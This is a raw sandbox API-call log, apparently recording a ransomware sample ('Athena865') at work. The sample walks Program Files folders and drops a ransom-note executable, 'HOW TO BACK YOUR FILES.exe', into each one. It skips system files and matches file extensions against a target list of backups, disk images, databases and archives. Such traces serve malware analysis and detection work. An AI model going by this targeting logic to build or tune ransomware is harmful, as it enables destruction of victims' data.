hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0095.162] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.162] ReleaseMutex (hMutex=0xec) returned 1 [0095.162] CloseHandle (hObject=0xec) returned 1 [0095.162] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" [0095.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530920 | out: hHeap=0x4f0000) returned 1 [0095.162] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned 52 [0095.162] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0AE70BE9F90B0BCC2224FED0F8F7935E") returned 0xec [0095.162] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.162] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" [0095.163] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.163] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.163] GetLastError () returned 0x0 [0095.163] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0095.163] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.164] CloseHandle (hObject=0xf4) returned 1 [0095.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0095.164] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.164] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc125b060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc125b060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.164] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.164] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.164] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.165] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc125b060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc125b060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.165] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.165] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.165] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.165] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.165] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125b060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc125b060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.165] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.165] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125b060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc125b060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0095.165] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.165] ReleaseMutex (hMutex=0xec) returned 1 [0095.165] CloseHandle (hObject=0xec) returned 1 [0095.165] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0095.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530938 | out: hHeap=0x4f0000) returned 1 [0095.165] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned 53 [0095.165] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\70BCAD6C5377F8B3BCF75D17E81F2F71") returned 0xec [0095.165] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.165] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0095.165] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.165] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.166] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.166] GetLastError () returned 0x0 [0095.166] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0095.166] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.167] CloseHandle (hObject=0xf4) returned 1 [0095.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0095.167] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.167] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc12811c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc12811c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.167] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.167] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.167] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.167] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc12811c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc12811c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.167] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.167] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.167] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.167] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.168] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2=".") returned 1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="..") returned 1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="windows") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="bootmgr") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="temp") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="pagefile.sys") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="boot") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="ids.txt") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="ntuser.dat") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="perflogs") returned -1 [0095.168] lstrcmpiW (lpString1="Bin", lpString2="MSBuild") returned -1 [0095.168] lstrlenW (lpString="Bin") returned 3 [0095.168] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Bin" | out: lpString1="Bin") returned="Bin" [0095.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530938 [0095.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x501d28 [0095.168] lstrcatW (in: lpString1="Bin", lpString2="\\" | out: lpString1="Bin\\") returned="Bin\\" [0095.168] lstrcatW (in: lpString1="Bin\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Bin\\HOW TO BACK YOUR FILES.exe") returned="Bin\\HOW TO BACK YOUR FILES.exe" [0095.168] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin\\how to back your files.exe"), bFailIfExists=1) returned 1 [0095.172] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc12811c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc12811c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.172] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.172] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc12811c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc12811c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0095.172] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.172] ReleaseMutex (hMutex=0xec) returned 1 [0095.172] CloseHandle (hObject=0xec) returned 1 [0095.172] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0095.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5d8 | out: hHeap=0x4f0000) returned 1 [0095.172] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned 63 [0095.173] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\97F073A7C3508CFF1CAEE713D42211C7") returned 0xec [0095.173] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.173] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0095.173] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.173] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.173] GetLastError () returned 0x0 [0095.173] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0095.174] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.174] CloseHandle (hObject=0xf4) returned 1 [0095.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0095.174] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.174] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc12a7320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc12a7320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.175] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.175] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.175] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.175] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc12a7320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc12a7320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.175] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.175] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.175] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.175] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.175] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2=".") returned 1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="..") returned 1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="windows") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="bootmgr") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="temp") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="pagefile.sys") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="boot") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="ids.txt") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="ntuser.dat") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="perflogs") returned -1 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2="MSBuild") returned -1 [0095.175] lstrlenW (lpString="adodb.dll") returned 9 [0095.175] lstrcpyW (in: lpString1=0x241e8c8, lpString2="adodb.dll" | out: lpString1="adodb.dll") returned="adodb.dll" [0095.175] lstrlenW (lpString="adodb.dll") returned 9 [0095.175] lstrlenW (lpString="Athena865") returned 9 [0095.175] lstrlenW (lpString=".dll") returned 4 [0095.175] lstrcmpiW (lpString1="adodb.dll", lpString2=".dll") returned 1 [0095.175] lstrlenW (lpString=".lnk") returned 4 [0095.176] lstrcmpiW (lpString1="adodb.dll", lpString2=".lnk") returned 1 [0095.176] lstrlenW (lpString=".ini") returned 4 [0095.176] lstrcmpiW (lpString1="adodb.dll", lpString2=".ini") returned 1 [0095.176] lstrlenW (lpString=".sys") returned 4 [0095.176] lstrcmpiW (lpString1="adodb.dll", lpString2=".sys") returned 1 [0095.176] lstrlenW (lpString="adodb.dll") returned 9 [0095.176] lstrlenW (lpString="bak") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0095.176] lstrlenW (lpString="ba_") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0095.176] lstrlenW (lpString="dbb") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0095.176] lstrlenW (lpString="vmdk") returned 4 [0095.176] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0095.176] lstrlenW (lpString="rar") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0095.176] lstrlenW (lpString="zip") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0095.176] lstrlenW (lpString="tgz") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0095.176] lstrlenW (lpString="vbox") returned 4 [0095.176] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0095.176] lstrlenW (lpString="vdi") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0095.176] lstrlenW (lpString="vhd") returned 3 [0095.176] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0095.176] lstrlenW (lpString="vhdx") returned 4 [0095.176] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0095.176] lstrlenW (lpString="avhd") returned 4 [0095.176] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0095.176] lstrlenW (lpString="db") returned 2 [0095.176] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0095.177] lstrlenW (lpString="db2") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0095.177] lstrlenW (lpString="db3") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0095.177] lstrlenW (lpString="dbf") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0095.177] lstrlenW (lpString="mdf") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0095.177] lstrlenW (lpString="mdb") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0095.177] lstrlenW (lpString="sql") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0095.177] lstrlenW (lpString="sqlite") returned 6 [0095.177] lstrcmpiW (lpString1="db.dll", lpString2="sqlite") returned -1 [0095.177] lstrlenW (lpString="sqlite3") returned 7 [0095.177] lstrcmpiW (lpString1="odb.dll", lpString2="sqlite3") returned -1 [0095.177] lstrlenW (lpString="sqlitedb") returned 8 [0095.177] lstrcmpiW (lpString1="dodb.dll", lpString2="sqlitedb") returned -1 [0095.177] lstrlenW (lpString="xml") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0095.177] lstrlenW (lpString="$er") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0095.177] lstrlenW (lpString="4dd") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0095.177] lstrlenW (lpString="4dl") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0095.177] lstrlenW (lpString="^^^") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0095.177] lstrlenW (lpString="abs") returned 3 [0095.177] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0095.177] lstrlenW (lpString="abx") returned 3 [0095.178] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0095.178] lstrlenW (lpString="accdb") returned 5 [0095.178] lstrcmpiW (lpString1="b.dll", lpString2="accdb") returned 1 [0095.178] lstrlenW (lpString="accdc") returned 5 [0095.178] lstrcmpiW (lpString1="b.dll", lpString2="accdc") returned 1 [0095.178] lstrlenW (lpString="accde") returned 5 [0095.178] lstrcmpiW (lpString1="b.dll", lpString2="accde") returned 1 [0095.178] lstrlenW (lpString="accdr") returned 5 [0095.178] lstrcmpiW (lpString1="b.dll", lpString2="accdr") returned 1 [0095.178] lstrlenW (lpString="accdt") returned 5 [0095.178] lstrcmpiW (lpString1="b.dll", lpString2="accdt") returned 1 [0095.178] lstrlenW (lpString="accdw") returned 5 [0095.178] lstrcmpiW (lpString1="b.dll", lpString2="accdw") returned 1 [0095.178] lstrlenW (lpString="accft") returned 5 [0095.178] lstrcmpiW (lpString1="b.dll", lpString2="accft") returned 1 [0095.178] lstrlenW (lpString="adb") returned 3 [0095.178] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.178] lstrlenW (lpString="adb") returned 3 [0095.178] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.178] lstrlenW (lpString="ade") returned 3 [0095.178] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0095.178] lstrlenW (lpString="adf") returned 3 [0095.178] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0095.178] lstrlenW (lpString="adn") returned 3 [0095.178] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0095.178] lstrlenW (lpString="adp") returned 3 [0095.178] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0095.178] lstrlenW (lpString="alf") returned 3 